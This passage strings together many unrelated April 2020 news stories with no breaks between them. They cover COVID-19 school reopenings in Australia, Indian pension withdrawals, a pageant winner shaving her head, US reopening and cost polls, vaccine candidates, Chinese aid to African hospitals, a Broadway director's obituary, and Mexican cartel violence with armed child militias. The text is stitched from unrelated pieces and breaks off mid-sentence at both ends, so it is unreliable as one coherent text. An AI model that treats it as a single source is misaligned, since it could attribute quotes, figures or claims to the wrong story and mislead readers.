decision to stick to remote learning for term two despite other states relaxing restrictions. Just two new cases of COVID-19 were confirmed in Victoria on Tuesday, bringing the state's total to 1,351, of whom nearly 1,300 have recovered. There are 23 people in hospital, including 11 in intensive care. But Mr Andrews noted seven coronavirus cases in Victoria have been traced back to schools, and the science on whether or not to keep children away from classrooms to tackle COVID-19 is 'not settled'. 'We can guess, or we can have an abundance of caution and I'm happy to be criticised for being cautious in this. I know what's at stake,' Mr Andrews said. A staff member prepares a take-home activity packs at a primary school in Brisbane on March 3 (pictured) Federal Education Minister Dan Tehan (pictured) wants to see students getting back to their normal education routines by the end of May. Ecumenical Schools Australia, a network of regional independent schools in Victoria with more than 17,000 students, has asked the state government for discretion to reopen its campuses. 'It's appropriate that independent schools be given the discretion to look at whether it's safe to start planning for a return to the classroom,' ESA general manager Stephen Higgs told The Australian. 'This is being driven by the fact that many regional areas are not experiencing any significant level of the COVID disease.' In Western Australia, more than 60 per cent of public school students are expected to attend classrooms as they reopen for term two, with special arrangements in place to reduce COVID-19 risks. Parents have the choice to keep their children at home for remote learning for the first three weeks of the term, which starts on Wednesday. Year 11 and 12 pupils are strongly urged to be physically present. Cleaning is being increased throughout the day, students must adhere to hygiene requirements and schools are able to implement staggered starts, breaks and meal times to reduce contact. In New South Wales, schools will use a roster system to bring some children back to class. Premier Gladys Berejiklian has confirmed face-to-face teaching will resume in week three of term two, but not all students will go back to class at the same time. A roster system is being designed so some children attend on certain days and work from home on others when their peers go to class. This would keep classrooms less busy and help maintain social distancing. 'Students will not be in school full-time and I suspect the majority of learning will still be from home,' Ms Berejiklian said. New Delhi, April 28 : Account holders are increasingly withdrawing money from the PF accounts, taking advantage of the rebate due to the lockdown. According to the Employees Provident Fund Organisation (EPFO) of the Ministry of Labour, about 13 lakh account holders have availed this facility so far as Rs 4,684.52 crore has been paid on claims. About 7.40 lakh claims are associated with the Pradhan Mantri Garib Kalyan Yojana package. According to the Ministry of Labour and Employment, the number of withdrawals from exempted PF trusts has also increased. According to the data on April 27, a total of 79,743 exempted PF trust account holders withdrew Rs 875.52 crore from the accounts. Similarly, 54,641 account holders of 222 private establishments withdrew Rs 338.23 crore, while 24,178 beneficiaries of 76 public sector establishments withdrew Rs 524.75 crore from their accounts. Similarly, 23 cooperative sector establishments gave Rs 12.54 crore to 924 account holders. What is the discount? On March 26, Finance Minister Nirmala Sitharaman had announced a package of 1.70 lakh crore under the Pradhan Mantri Garib Kalyan Yojana, in which PF account holders, who have been facing economic crisis during Covid-19, were also allowed to withdraw money. Following the announcement, a new sub-para (3) was added to Para 68L of the EPF Scheme, 1952. Under which an account holder can withdraw money equal to 75 per cent of the account amount or three months dearness allowance (whichever is less). After withdrawing money, the account holder will not need to re-credit the account. As the COVID-19 pandemic continues, mental health professionals advocate for healthy use of time and actions that make a positive difference in ones life. Former Miss Laredo Latina, Jackye Calderon, had a brush with anxiety which resulted in her shaving her head impulsively in order to help clear her mind and empower herself through the pandemic. NEW SYMPTOMS: CDC identifies six new possible symptoms of COVID-19 Calderon said that the thought of shaving her head stemmed from wanting healthier hair but was nervous of the outcome. She believes that a woman with a shaved head carries a heavy stigma and she figured that it would be easier to shave her head during the lockdown. She then realized that there was no point in hiding because while she may have faced the pressure to look a certain way in 2018, that is not who she is now. So, after shaving her head, she hopes to send a message that the length of a womans hair does not define beauty. On her first Facebook post, she cited a VICE article about how women around the world are treated after they shave their hair, resulting in assumptions of being on the LGBTQ spectrum or that they are a cancer patient. According to Amanda Michelle, local cosmetologist and barber, a hairstyle is a vehicle for people looking for a change. We come from a very conservative Mexican culture where we as women are told to never cut our hair and to keep it long, Michelle said. Its a symbol of your womanhood to have beautiful hair. This pressure is compounded by media and internet standards where models and TV anchors dictate how women should look and what makes a woman beautiful, Michelle said. There is always a pressure for women to look put together, and a shaved head, half-shaved head or unorthodox hair color are not part of that look. These ideas placed on women are due to societys standards, she said; gender roles do not allow women to look however they please without repercussions. Whether it is a shaved head or even strong and bulging muscles, these women will be seen masculine by society in general, Michelle noted. Protesters have rallied across the country demanding businesses such as hair salons to re-open. Michelle said that there are more important issues at hand than a few exposed roots and tangles. (Calderon) wanted to shave her head because she didnt want to deal with it anymore, and in the pandemic its not a priority, she said. I commend her for it. Any woman that shaves her head, I support it because its their choice and not societys. SELECTIVE OPENINGS: Abbot announces which Texas business can and cant open Regardless of if a woman has long straight hair, curls or a shaved head, their hair style needs to be about feeling good about themselves instead of appeasing society, Michelle said. Michelle spoke about how severe the standard is set for women. She saw a woman who was very attached to her long hair and did not want to cut it because her boyfriend liked it long. All my life, women have been told to have long, curly hair past your ears and I think its time for women to embrace what they are inside. If they feel like they are bald-headed beautiful goddesses inside, thats what they need to be, she said. Calderon said that once the deed was done and all her hair was shaved, she felt a sense of power that she controlled. She then realized that she would do it at any other time she pleased. This outlook helped turn the negative feelings from the pandemic into positive feelings that pacify the anxiety. If we dont fit the standard, we dont belong in our community, Calderon said. This brings up depression and anxiety in the community because we are trying to fit in. In 2018, Calderon won the title of Miss Laredo Latina thinking she did not fit the pageant standards. The hair, makeup and dresses were important, but not as important to ones own body positive messages and uniqueness. I would say three years ago, I was more naive about the power I could obtain just by loving myself. I wish it for everyone, she said. According to Calderon, the pageant world is a showcase of perfection, but each girl is a normal person who deserves be themselves no matter the circumstances. She believes that a girl with a shaved head may not win a pageant, but that all girls are beautiful. FEWEST CONFIRMED: Harris County ZIP codes with the least confirmed cases of COVID-19 so far Whats beautiful is heart, personality, how to treat others and showcasing yourself, Calderon said. Were all different, and the message gets lost in the constant social pressure to look like the next big thing. She is now a Pillar case worker and has participated in multiple feminist movements to push forward a change in society. She has participated in the local Vagina Monologues, a play that explores sexual experiences, body image, sex work, vaginal care and other woman-focused topics. It was her first time performing, and she wanted to talk about those sensitive subjects and circumvent the idea that talking about a womans body is unladylike. Performing in the play is being able to have an outlet to talk about what women go through, Calderon said. A woman has periods, birth, and that cant be taken from us. We get to boast about it, and it is power. Christian Ocampo may be reached at cocampo@lmtonline.com I believe its dangerous when citizens of Armenia say the people dont have any food to eat. This is wrong. If there are such people, find those people and tell the government to help them since thats the governments duty. This is what deputy of the My Step faction of the National Assembly of Armenia Hovhannes Igityan said in parliament today. Our fellow parliamentarians are telling the ruling party to distribute funds to the people. The state budget has been considered the peoples budget for the past two years, and there have been cases when people have sold homes or applied for loans for their health. When the government says it needs to spend money, the first thing it thinks about is the treatment for the people infected with the coronavirus, he said. The deputy said it would be wrong to compare Armenia with European countries and touched upon the issue of energy security. There are deputies who say citizens shouldnt pay their utility bills, but they must pay the bills. Were talking about the countrys energy security, and there has to be electricity during the current coronavirus pandemic and in the future as well, he said. As U.S. states gear up to reopen, a poll finds a potential obstacle to controlling the coronavirus: nearly one in ten adults say cost would keep them from seeking help if they thought they were infected. The Gallup-West Health Healthcare Costs Survey out Tuesday finds that 9% of those age 18 and over would avoid seeking treatment because of concerns about the cost of care, even if they thought they were infected with the coronavirus. A significantly higher number, 14%, would avoid seeking treatment because of pocketbook worries if they had fever and a dry cough, two widely publicized symptoms of COVID-19. By Friday, a total of 17 states will have partially lifted or eased lockdown and stay-at-home orders, gradually allowing a resumption of economic activity. Public health authorities have warned, however, an increase in human interaction to massage economic activity could spark a 'second wave' of infections. This, just as social-distancing measures appear to be bringing coronavirus outbreaks under control in parts of the nation. Confirmed cases of coronavirus in the U.S. stand at more than 1.1 million, with 56,715 deaths. This chart illustrates some of the US states that have formed little coalitions which will all reopen certain areas of business on the same date The Gallup-West data emerges just as software company Komodo Health publishes a report suggesting routine check ups in the U.S. to detect cancers and other medical conditions nosedived since the middle of March. This, at a time when coronavirus was spreading and public advice was to stay at home. Diagnostic panels and cancer screenings tumbled by as much as 68% across the U.S. - and by a greater number in coronavirus 'hotspots', according to Komodo Health. Although Congress and President Donald Trump have made coronavirus testing free to patients, and some insurers are waiving copays and deductibles for treatment within their networks, the survey suggests such messages may not be getting to the public. The survey delivers 'important and distressing information,' said John Auerbach, head of the nonpartisan Trust for America's Health. 'I hope that policy makers take note.' With so many reluctant to seek care, 'it could pose problems in testing people,' Auerbach added. 'Without widespread testing, it will be problematic to lift the restrictions.' Auerbach's group works with government at all levels to strengthen public health, and was not involved with the poll. Experts say that to succeed, the nation's reopening has to be based on three pillars: testing, tracing those who came in contact with infected people and treatment for those who become ill. If people who may be sick are reluctant to come forward, that could create a blind spot for governors and public health officials trying to calibrate reopening plans to quickly contain potential virus flare-ups. The survey found that members of minority groups, younger people, those with less than a college degree and people making less than $40,000 a year were more likely to say they would avoid treatment for economic reasons. Fourteen percent of nonwhite poll respondents said they would avoid treatment even if they suspected they had the coronavirus, compared with 6% of whites citing costs. Yet COVID-19 has proven to be more lethal among blacks and Hispanics, a grim phenomenon linked to higher rates of underlying diseases such as diabetes and lower rates of health insurance coverage. Among age groups, the survey found those 18-29 were the most likely to avoid treatment. Although COVID-19 claims a disproportionately high share of victims among older people, there's plenty of evidence that seemingly healthy young adults can also get seriously sick. THE US STATES REOPENING: Montana: From May 4 Tennessee: From April 27 Colorado: From April 27 Alaska: From April 24 Georgia: From April 24 Oklahoma: From April 24 South Carolina: From April 20 Texas: From April 20 Minnesota: From April 27 Mississippi: From April 27 Ohio: From May 1 Advertisement In the poll 12% of those 18-29 said they would avoid treatment because of cost worries. Adults ages 50-64 were the least likely to avoid care, with only 3% citing pocketbook issues as a barrier. Surprisingly, 7% of those 65 and older said cost would be an issue for them. Virtually all U.S. seniors are covered by Medicare, and many have additional protection for out-of-pocket expenses. The poll also found income was a dividing line in Americans' attitudes. Only 3% of those making $100,000 or more cited cost as a barrier to COVID care, compared with 14% of those earning under $40,000. 'A pretty substantial chunk of the population could remain hidden from view because of the U.S. health care cost crisis,' said Dan Witters, research director for the poll. The Gallup-West Health Healthcare Costs Survey was based on telephone interviews conducted April 1-14, with a random sample of 1,017 adults, ages 18 and older, living in all 50 U.S. states and Washington. For results based on the entire sample the margin of error is plus or minus 3.7 percentage points. Private schools will be given financial rewards to restart classroom teaching within four weeks under a federal plan to use an advance from the sector's $13 billion in annual funding to demolish resistance to face-to-face learning. Prime Minister Scott Morrison will offer independent and Catholic schools a 25 per cent advance on next years federal funding on the condition they have at least half their students in classrooms by June 1. Independent and Catholic schools will get a financial incentive to open their classrooms up by June 1. Credit:Louie Douvis The dramatic offer, made to school groups on Tuesday night, intensifies pressure on state governments to hasten the end of online learning at home as Australia curbs growth in coronavirus cases. Many NSW private schools are already planning a faster return to the classroom than their public education counterparts. More than 2 million people have been diagnosed with coronavirus across the world, and the pharmaceutical industry is pulling out all stops to find potential treatments and vaccines for the global pandemic. According to the World Health Organization, there are now more than 70 potential vaccines under development, with some already in clinical trials. IMAGE: Andressa Parreiras, Biomedic, and Larissa Vuitika, biologist, work in a laboratory during the extraction of the virus genetic material in Belo Horizonte, Brazil. The ministry of health convened The Technological Vaccine Center of the Federal University of Minas Gerais laboratory to conduct research on the coronavirus in order to diagnose, test and develop a vaccine. Photograph: Pedro Vilela/Getty Images >> Ad5-nCoV The front-runner across the globe, Ad5-nCoV, was developed by the Beijing Institute of Biotech and CanSino Biologics, a Chinese biopharmaceutical company. This vaccine uses a viral vector, a virus that has been engineered to not contain its infectious properties and instead delivers genetic material to the recipient. Phase I testing of this vaccine is underway at Hubei Provincial Center for Disease Control and Prevention, where 108 healthy adult volunteers will receive one of three doses of the vaccine to assess for safety. The official anticipated completion date for Ad5-nCOV safety testing is December 2020, with all testing completed by 2022. >> The Oxford vaccine -- ChAdOx1-nCov19 United Kingdom's Oxford University has its own candidate, which is in a very aggressive clinical development program. A team led by Sarah Gilbert, a professor of vaccinology, has recruited 500 volunteers from the ages of 18 to 55 for the early- and mid-stage randomised controlled trial. It will be extended to older adults and then to a final stage trial of 5,000 people. Gilbert said that the timing is ambitious but achievable. This vaccine uses an inactivated (non-infectious) virus that contains genetic material for the key protein on the novel coronavirus, similar to Ad5-nCoV in China. This viral vector, however, was derived from chimpanzees which, the researchers argue, creates an even more robust response than other viruses to which humans may have already been exposed. This vaccine is being funded by the United Kingdom government and is moving quickly. Still, its anticipated completion date of this phase isnt until May 2021. However, the researchers behind the vaccine are hopeful of getting "emergency" usage approval before then, depending on the initial results of their trials. >> Modernas mRNA1273 This is another one thats progressing rapidly in the clinic, and if youre keeping score, is the most advanced vaccine candidate from a US company. mRNA-1273 has the backing of the United State government's National Institutes of Health. This particular vaccine has been rushed to human trials before it was even tested in animals -- skipping a step in traditional vaccine development. A Phase I trial testing the vaccines safety in 45 healthy adult volunteers began earlier this month at Kaiser Permanente Washington Health Research Institute in Seattle. The participants will receive two injections of low, medium or high doses of the vaccine and be monitored for any adverse events or immune response. The company is hopeful that it may have a vaccine as early as fall 2020 for some particularly vulnerable groups, such as health care workers. The Phase I safety study should be completed by June 2021. >> Sinovacs PiCoVacc In China, Sinovac has received approval for human testing of an inactivated-virus vaccine. The vaccine, which is currently in combined Phase I/II trials, aims to generate an immune response by exposing the body to 'inactivated' cells of the novel coronavirus. The vaccine's current stage of trial research is expected to be completed in around four months. >> Inovios INO-4800 Developed by the United States biotech firm Inovio Pharmaceuticals, INO-4800 is currently in Phase I clinical trials. INO-4800 has the backing of the Coalition for Epidemic Preparedness Innovations, a global vaccine research coalition founded by the governments of India and Norway, and the Bill and Melinda Gates Foundation, among others. They started dosing 40 volunteers here in the US earlier in April, moving from younger, healthier participants now to older ones, and theyre moving into similar trials in South Korea. According to the company's research listing, Phase I trials of INO-4800 are expected to be fully completed in the first half of 2021. >> Sanofi vaccine Last month, Sanofi Pasteur announced that it was partnering with the US Department of Health and Human Services to create a DNA-based vaccine. The company had been previously working on a vaccine for SARS, a close relative of the novel coronavirus, which showed promise in animal models. The company says they are aiming for a 2021 release. >> Indian efforts Zydus Cadila, Serum Institute of India, Biological E, Bharat Biotech, Indian Immunologicals Ltd, and Mynvax are among local companies trying to develop a vaccine for covid-19. Serum Institute of India, in partnership with US-based vaccine specialist Codagenix, is developing a vaccine with de-optimised live attenuated virus, and animal trial data is expected soon. Italy's empty restaurants to hold a flash mob protest tonight. At least three out of 10 Roman restaurants risk not reopening after Italy lifts its lockdown measures, according to a report by CNA, the national confederation of the craft sector and small-medium businesses. The outlook is even more bleak for the retail sector, with four out of 10 stores in the capital likely to stay closed according to estimates by CNA, as reported by Italian newspaper La Repubblica. The CNA predicts that 2,500 restaurants and 2,300 bars risk closing their doors for good, with a similar fate facing 390 gelaterie, according to Rome daily newspaper Il Messaggero. The CNA report comes as Italy's premier Giuseppe Conte unveiled the Phase Two plan in the coronavirus emergency, outlining the timeline for reopening businesses since the lockdown was introduced on 10 March. Conte announced that clothes shops could reopen from 18 May, observing strict social distancing measures. From 4 May restaurants and bars will be allowed to operate a take-away service - in addition to home delivery which is currently permitted - with a tentative reopening date on 1 June. Read also: "Postponing the reopening to 1 June means the death of the restaurant sector," stated Federcuochi, the federation of Italian chefs, launching a cry for help to avoid "economic tragedy", reports Il Messaggero. Italy's so-called ghost restaurants will hold a flash mob protest at 21.00 on 28 April by switching on their lights and setting their tables for imaginary guests, followed the next morning with the symbolic act of owners handing over their keys to the local authorities. The move is part of the appeal-protest Risorgiamo Italia launched by Paolo Bianchini of the Osteria del Vecchio Orologio in Viterbo, who says restaurant owners are being asked to reopen "with the same costs, if not more than before the emergency, with takings at best forecast at 30 per cent" compared to previous years. Source: Xinhua| 2020-04-28 20:49:43|Editor: huaxia Video Player Close ADDIS ABABA, April 28 (Xinhua) -- The third round of Jack Ma COVID-19 medical supplies that landed in Addis Ababa on Monday evening is literally a lifesaver, an official at the Africa Center for Disease Control (Africa CDC) said on Tuesday. "Getting diagnostics and medical equipment for COVID-19 response is a global challenge. Africa is in a fierce competition with the developed world with respect to the availability of commodities," said John Nkengasong, director of the Africa CDC. A ceremony was held on Monday evening to welcome a third-round donation of medical equipment and supplies from the Jack Ma foundation and Alibaba foundation in Addis Ababa, Ethiopia. Speaking at the sidelines of the ceremony, Lia Tadesse, Ethiopia's Minister of Health is feeling confident her country will overcome the threat from the COVID-19 pandemic that has created global economic and social havoc. The east African country has in the past one and half month expanded its COVID-19 testing capacity and supplied COVID-19 medical supplies to its population with the help of various partners including the Jack Ma Foundation and the Chinese government. "The Jack Ma foundation is proactively helping Ethiopia with the donation of COVID-19 medical supplies including Personal Protective Equipments (PPE)," Tadesse told a group of Journalists on Monday evening. The donation, which is to support COVID-19 response of African Union (AU) member States, includes 4.6 million masks, 500,000 swabs and test kits, 300 ventilators, 200,000 sets of protective clothing, 200,000 face shields, 2,000 temperature guns, 100 body temperature scanners, and 500,000 pairs of gloves. "The Ethiopia Ministry of Health has been expanding its readiness in terms of boosting human resources, training, stockpiles of essential supplies. This donation goes a long way to achieve that goal," said the health minister. "The Chinese government and Jack Ma foundation have been strongly assisting us to acquire PPE supplies, medical ventilators and Intensive Care Unit (ICU) beds," said Tadesse. "Jack Ma foundation COVID-19 donation a lifesaver," said Tadesse. Ethiopia which confirmed its first COVID-19 case on March 13, currently has a total of 124 COVID-19 confirmed cases as of Tuesday. "These donations from the Jack Ma Foundation and Alibaba Foundation have been an incredible initiative helping to feed the need for medical supplies by African countries," said Nkengasong. The Africa CDC director also said global partnership is key to winning the war against COVID-19, with the Jack Ma foundation playing a key role in the African continent. "Partnership is key to winning the war against COVID-19. In our strategy we have highlighted four things: cooperation, collaboration, coordination and communication," said the director. If we do not want Africa to be the next epicenter, we must foster multisectoral partnerships at the community level, at the national level, at the continental level, and at the global level. This important collaboration is a major milestone in achieving this," said Nkengasong. According to Africa CDC, the death toll from the ongoing COVID-19 pandemic on the African continent has reached 1,423 as the number of confirmed positive cases reached 31,933 as of Monday. The Jack Ma foundation has already successfully provided two rounds of COVID-19 medical supplies to the 54 African countries, with Ethiopia's national air carrier Ethiopian Airlines (ET) playing a key role. Speaking to journalists on Monday, Fitsum Abadi, Managing Director, Ethiopian Airlines Cargo section, said Ethiopian Airlines has finished preparation to utilize its extensive flight network in the African continent to deliver the third round Jack Ma COVID-19 medical supplies donation. Ethiopian Airlines has already successfully transported the first and second batch of Jack Ma COVID-19 medical supplies donation consisting of combined 260 tons of medical supplies to several dozen African countries. "ET has expanded cargo operations to offset the loss from reduction in passenger flights," said Abadi. "We've repurposed some of our passenger planes to cargo planes to in part to conduct COVID-19 related chartered flights to European, Middle eastern and South American destinations," said Abadi. Enditem The photo shows the Wilkins Hospital in Zimbabwes capital Harare after renovation. Photo by Zhou Xuegong Chinese enterprises, while maintaining strict containment measures at home, are actively helping Africa upgrade its hospitals to cope with the exacerbating COVID-19 pandemic on the continent with a vision to build a community with a shared future for mankind. Chinese speed once again proved its value by assisting African countries to fight the disease. The Addis Ababa Silk Road General Hospital (ASRGH) is the first Chinese-invested hospital in Ethiopia. It started official operation last November, and was designated as a major facility for COVID-19 patients March this year by the Ethiopian government, which required renovation to the quarantine wards. To help the country better cope with the health crisis, China State Construction Engineering Ethiopian Plc. offered free renovation service for the hospital, and soon established a work team consisting of over 30 employees from both China and Ethiopia. Working around the clock, the team finished the task in just 5 days and delivered the transformed wards to the hospital. On April 13, the first critically ill COVID-19 patient received by the ASRGH was discharged after 15 days of treatment. The recovery of the patient enhanced our confidence to fight the disease, and helped us gain valuable experiences, said Wang Jianhua, president of the hospital. So far, the hospital has received four COVID-19 patients in critical conditions, and the second is about to be discharged. Ethiopian Minister of Health Lia Tadesse lauded Chinas efforts and achievements in combating the virus, saying the country is worth learning from. She said the ASRGH aided by China will play an increasingly important role for Ethiopia in preventing the COVID-19 pandemic. Ethiopian newspaper Daily Monitor recently reported that the Chinese enterprises helped Ethiopia renovate the designated hospital in the shortest time, saying China has lent a helping hand of friendship at the difficult time. China is the most reliable friend of Ethiopia, the newspaper added. Zimbabwes Wilkins Hospital in its capital Harare is another designated hospital for receiving COVID-19 patients upgraded by Chinese constructors. Due to the lack of maintenance, the aging facilities at the hospital failed to meet the standards of a quarantine hospital. Learning the information, Chinese enterprises soon responded with renovation plans. According to Zhou Xuegong, executive chairman of board of Jin An Corporation, one of the constructors upgrading the Wilkins Hospital, the construction teams worked non-stop after the project implemented, and finished the renovation in 10 days. Thats why the Wilkins Hospital is now called Huoshenshan of Zimbabwe by locals. Vice mayor of Harere Cllr Enock Mupamawonde commended the Chinese speed, saying the fast upgrading of Wilkins Hospital enhanced confidence of the people in his country. Senegal Women and Childrens Hospital aided by Chinas Jiangsu Provincial Construction Group and China Railway First Group Co., Ltd. was completed last December. It was designated by Senegals health authority as a hospital for COVID-19 patients this March. Gong Zhen, head of Jiangsu Provincial Construction Groups Senegal-aiding project, introduced that the Chinese side actively responded to the Senegals health department and soon finished the rearrangement of facilities and the upgrading of the quarantine section for the hospital. As of the end of March, 59 COVID-19 patients had received treatment at the Senegalese hospital, and 10 had been discharged. A woman surnamed Catherine who developed a fever soon after returning from the UK at the end of February was confirmed to have contracted the novel coronavirus and admitted by the Senegal Women and Childrens Hospital. The woman, whos about to be discharged soon, expressed her gratitude to China for building hospital and training medical personnel. She said she hopes Senegal would have more hospitals like this. Senegalese President Macky Sall also extended his appreciation for Chinas support, saying the Senegalese will always remember China for building and upgrading the hospitals, sending preventative materials from thousands of miles away, and the generous donations made by Chinese enterprises and Chinese people in his country. The timely upgrading of the hospitals by Chinese enterprises at the critical moment demonstrated the profound relationship between the Chinese and Senegalese, said Senegalese newspaper Le Soleil in a report. Chinese enterprises are also seen in other African countries assisting local efforts to combat the novel coronavirus pneumonia. They renovated two makeshift hospitals with 450 beds in Nigeria free of charge and finished upgrading of a quarantine hospital in Huambo, Angola in just three days. The Chinese enterprises concrete actions to assist Africa in the coronavirus pandemic once again prove that China and Africa have always been a community with a shared future. Source: Xinhua| 2020-04-29 00:12:21|Editor: huaxia Video Player Close People wearing face masks walk past a farmer's market in New York, the United States, on April 27, 2020. (Photo by Michael Nagle/Xinhua) Many U.S. states are seeking a slow but sure re-opening of their economies, after the coronavirus has killed nearly 56,000 people nationwide. WASHINGTON, April 27 (Xinhua) -- This week will see many U.S. states re-open their economies after the historic COVID-19 lockdown has ravaged the U.S. economy and caused millions of Americans to lose their jobs. However, it remains unknown whether this will impact U.S. President Donald Trump's re-election efforts. Many states this week are seeing a slow but sure re-opening of their economies, after the coronavirus has killed nearly 56,000 people nationwide and infected more than 987,000. The U.S. states of Colorado, Minnesota and Montana plan to relax restrictions advising Americans to stay home. Iowa will resume elective surgeries and farmers' markets by Monday. Tennessee restaurants and retail stores will be permitted to operate at 50-percent capacity by Wednesday. Hawaii has re-opened beaches for exercise and fishing, although sunbathing will not be permitted. Texas on Friday already allowed stores to sell merchandise curbside. Georgia on Friday allowed some businesses to open in which people are packed close together -- such as hair salons, gyms and barber shops -- following certain guidelines. Oklahoma has opened hair salons, spas and pet groomers. New York City, the hardest-hit city, is taking measures to reopen at a certain point. In Colorado, the governor said guidelines advising people to stay at home will expire by Sunday, but emphasized that people should stay at home as much as possible. Michigan, whose governor has come under fire for what critics say are unnecessary and badly-thought-out restrictions, is now allowing landscaping businesses, as well as plant nurseries and bicycle repair shops to open. "The success of the reopening strategy depends a lot on its health consequences. If states reopen and there is no major spike in cases, that will be a win for that area. But if there is a spike upwards in the number of cases and the fatality rate, that will be very problematic for Trump. It will look like he traded lives for the reopening," Brookings Institution Senior Fellow Darrell West told Xinhua. People wearing masks walk near the Lincoln Memorial in Washington D.C., the United States, on April 26, 2020. (Photo by Ting Shen/Xinhua) It is crucial for Trump to hold onto the white working class, which comprises his main base of support but is disproportionately impacted by the lockdown because most in that group cannot work from home. Christopher Galdieri, assistant professor at Saint Anselm College, told Xinhua that if blue collar whites think Trump is making things worse, they may move away from him in large enough numbers to complicate his re-election strategy. Clay Ramsay, a senior research associate at the Center for International and Security Studies at University of Maryland, said Trump may yet hold onto his key supporters, as the president has used his daily briefings to distance himself from health officials who caution against re-opening too soon. "So those who are disaffected with the stay-at-home policies won't blame the president for them," Ramsay said. The state of the economy come November will also be a major issue that will impact the elections. Perhaps working in Trump's favor is evidence from past pandemics that areas that took earlier, more stringent measures saw a stronger recovery than elsewhere. In an election that experts said will be determined by the electoral college rather than the national vote, that dynamic will be important. It remains unknown whether the United States will see a V-shape recovery or a longer recession that some economists are now predicting. Many Americans, climbing the walls under stay-at-home guidelines, are champing at the bit to go out. Many observers predict a surge in customers at restaurants, hair salons and shopping malls, once they reopen. But at the same time, many states are espousing a slow return to normalcy, which means requiring restaurants and other businesses to operate at a 50-percent capacity, in a bid to prevent new hot spots from popping up. West said a bad economy come November will be hard for Trump to deal with, as the surging economy has been the hallmark of his re-election strategy. Tony Award-winning director Peter H. Hunt, photoraphed at his Los Angeles home in 1997. (Ken Hively / Los Angeles Times) Peter H. Hunt, the theater, film and television director who won a Tony Award for the original run of the musical "1776," has died. He was 81. Hunt died Sunday at his home in Los Angeles from complications of Parkinson's disease, said his wife, Barbette Hunt. Hunt rose to prominence in 1969 when he directed the inaugural Broadway production of "1776," with music and lyrics by Sherman Edwards, book by Peter Stone and a cast that included William Daniels and Betty Buckley. The show, which logged more than 1,200 performances in its three-year run, won three Tony Awards, including best musical, best performance by a featured actor (Ron Holgate) and best director (Hunt). A revival of "1776," which chronicles the events leading up to the signing of the Declaration of Independence with a focus on John Adams, was among the productions recently canceled by Center Theatre Group amid the fallout from the coronavirus crisis. "He loved theatricality, he loved big theatrical gestures," said friend and colleague David Rambo, a television writer and producer who collaborated with Hunt on staging classic plays to benefit the Actors Fund. "Peter personified classic Broadway to me." Hunt went on to direct Columbia Pictures' film adaptation of "1776," which was released in 1972 and starred many of the same actors as the Broadway run. The film received mixed reviews but helped reawaken a lifelong love of Hollywood in Hunt, who relocated from New York to Los Angeles that year and began cultivating a career as a television director. Howard Da Silva as Benjamin Franklin, left, and William Daniels as John Adams in the movie adaptation of "1776," directed on both film and Broadway by Peter H. Hunt, who has died at 81. (Columbia Pictures) Hunt's television credits are varied, including the pilot episode of "Baywatch," dozens of episodes of "Touched by an Angel," plus the early 1970s series "Adam's Rib" with Blythe Danner and Ken Howard. Hunt also produced and directed four feature adaptations in the Peabody Award-winning Mark Twain series on PBS, including "The Adventures of Huckleberry Finn" and "Life on the Mississippi." Story continues "He got involved with a whole bunch of really awesome people out here who were doing exciting TV work," remembered Barbette, his wife of 48 years. " It just seemed like TV was cooking in terms of trying new pilots every season, and they were really good." There was also the matter of raising a family, and Barbette said L.A. felt like the natural place to do that. Peter Huls Hunt was born in Pasadena in 1938, the son of Gertrude and George Smith Hunt II, an industrial designer from Minnesota. Among his brothers was Gordon Hunt, the late father of actress Helen Hunt. Peter Hunt was enamored with the theater from an early age and attended the Hotchkiss School in Connecticut before heading off to Yale and receiving a master's degree from Yale School of Drama. He began his theater career in 1958 as a lighting designer with the Williamstown Theatre Festival in Massachusetts, where he met Barbette as well as up-and-coming actors who would populate his world professionally and personally, including Danner, Frank Langella and Olympia Dukakis. "I don't think he missed one summer," said Barbette, who worked at the festival as an apprentice. "We put up one show a week, so it was intense, to say the least. It was like a family." In 1989 Hunt became the artistic director of Williamstown, a position he held until 1995. There he helped to cultivate the work of artistic talent including Calista Flockhart, Gwyneth Paltrow and Matthew Perry. Hunt came back to Broadway a few times after his triumph with "1776," once in 1970 with the musical "Georgy," which closed after only four days, and again in 1975, when he directed the musical "Goodtime Charley." The latter was nominated for seven Tony Awards and earned Hunt a Drama Desk Award nomination. Hunt's last Broadway foray was in 1997 with "The Scarlet Pimpernel," which received three Tony nominations including best musical. "'Vibrant' is the word that everybody seems to use to describe him," Barbette said. "He was very energetic, really, really smart, and truly interested in everything." Hunt is survived by Barbette and their children, Max Hunt, Daisy Hunt and Amy Hunt, as well as his brother George Hunt. In Mexico, drug cartels hold massive power over territories and drug routes. The country is riddled with murders and violence each year. In March, authorities recorded over 3,000 cartel-related homicide cases---a startling figure that had overshadowed the country's coronavirus deaths. In early April, a shoot-out between rival drug gangs resulted in the death of 19 people. Police The state prosecutor's office said investigators found grenades, vehicles, and guns at the scene. Members of the Sinaloa cartel reportedly clashed with the Beltran Leyva gang. Mexico has long since suffered from cartel violence. The country saw a surge in murders since President Andres Manuel Lopez Obrador took office in December 2018. The criminal organizations are also responsible for the kidnapping, extortion, torture, and murder of many asylum seekers. The Mexican government has been fighting against drug cartels for years, with the former administration successfully capturing notorious leader Joaquin "El Chapo" Guzman in 2014. However, many communities are still ravaged by the cartel's presence. Some, like Ayahualtempa, decided to take matters into their own hands. Young Soldiers The CRAC-PF, a militia in the Mexican state of Guerrero, emerged in 2014 in place of corrupt local police. Federal and state forces were stretched thin, leaving them vulnerable to waves of violence and targeted attacks by surrounding drug cartels. In a drastic step to offer residents better protection and a safer community, they started training children how to handle and use guns. Boys as young as 6-years-old serve as the last line of defense. Some are seen carrying .22-caliber rifles, while others are armed with a 20-gauge shotgun. Bernandino Sanchez Luna founded the group as a way to "prepare the children to defend themselves if they lose their parents." He said the government never helped them defend their community. Human rights advocates, who often criticize his decision to include children, are of no help as well. President Andres Manuel Lopez Obrador once said the militia should be ashamed for arming the children after local media published photos and footage of the children conducting military-style exercises. "Training children to use weapons and then filming them is an abuse," he said during a press conference. We Have No Choice" The children are unable to go to school as it is located within the territory of a drug cartel. While elder in the mainly indigenous villages say the children would not be used to fight cartel gunmen, they say their decision to enlist boys is an act of desperation. It's a ploy to get the attention of Mexican officials who they believe have abandoned them. The community is nestled by a two-lane highway where rival gangs fight for control of the drug route. In 2019, people from the village were killed after they ventured outside their community. A man was shot dead while sitting in his car. A young boy was also shot dead in broad daylight. In January this year, ten musicians from the village were ambushed and killed by cartel members. Their bodies were found burnt. The Los Ardillos cartel is forcing farmers to grow opium. Ayahualtempa never received much government support despite being threatened and murdered by the group. The escalation in violence comes after Lopez Obrador rejected a head-on confrontation with the cartels, saying that option would lead to more bloodshed. The government has, however, deployed forces to help with 